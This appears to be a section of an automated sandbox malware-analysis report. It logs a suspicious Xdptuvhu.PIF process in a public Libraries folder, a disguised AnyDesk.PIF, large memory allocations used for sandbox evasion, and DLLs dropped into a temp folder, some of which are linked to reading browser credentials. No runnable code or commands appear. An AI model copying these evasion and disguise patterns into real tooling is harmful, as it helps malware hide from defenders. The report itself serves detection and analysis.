            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\uhvutpdX.pifProcess information set: NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Allocates many large memory junks
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2BA0000 memory commit 500002816
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2BA1000 memory commit 500178944
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2BCD000 memory commit 500002816
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2BCE000 memory commit 500350976
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2C24000 memory commit 501014528
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2D1C000 memory commit 500006912
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2D1E000 memory commit 500015104
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 29F0000 memory commit 500002816
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 29F1000 memory commit 500178944
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2A1D000 memory commit 500002816
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2A1E000 memory commit 500350976
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2A74000 memory commit 501014528
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2B6C000 memory commit 500006912
            Source: C:\Users\Public\Libraries\Xdptuvhu.PIFMemory allocated: 2B6E000 memory commit 500015104
            Source: C:\Users\Public\Libraries\AnyDesk.PIFMemory allocated: 2AB0000 memory commit 500002816Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFMemory allocated: 2AB1000 memory commit 500178944Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFMemory allocated: 2ADD000 memory commit 500002816Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFMemory allocated: 2ADE000 memory commit 500350976Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFMemory allocated: 2B34000 memory commit 501014528Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFMemory allocated: 2C2C000 memory commit 500006912Jump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFMemory allocated: 2C2E000 memory commit 500015104Jump to behavior
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-heap-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-private-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processthreads-l1-1-1.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-errorhandling-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-memory-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-process-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-environment-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-time-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-convert-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\nss3.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-localization-l1-2-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\freebl3.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-heap-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-profile-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-synch-l1-2-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processthreads-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-filesystem-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-locale-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-namedpipe-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-console-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-rtlsupport-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\softokn3.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-util-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-file-l2-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-datetime-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-debug-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-stdio-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-processenvironment-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-conio-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-multibyte-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-core-handle-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-math-l1-1-0.dllJump to dropped file
            Source: C:\Users\Public\Libraries\uhvutpdX.pifDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\4A2B4331\api-ms-win-crt-runtime-l1-1-0.dllJump to dropped file
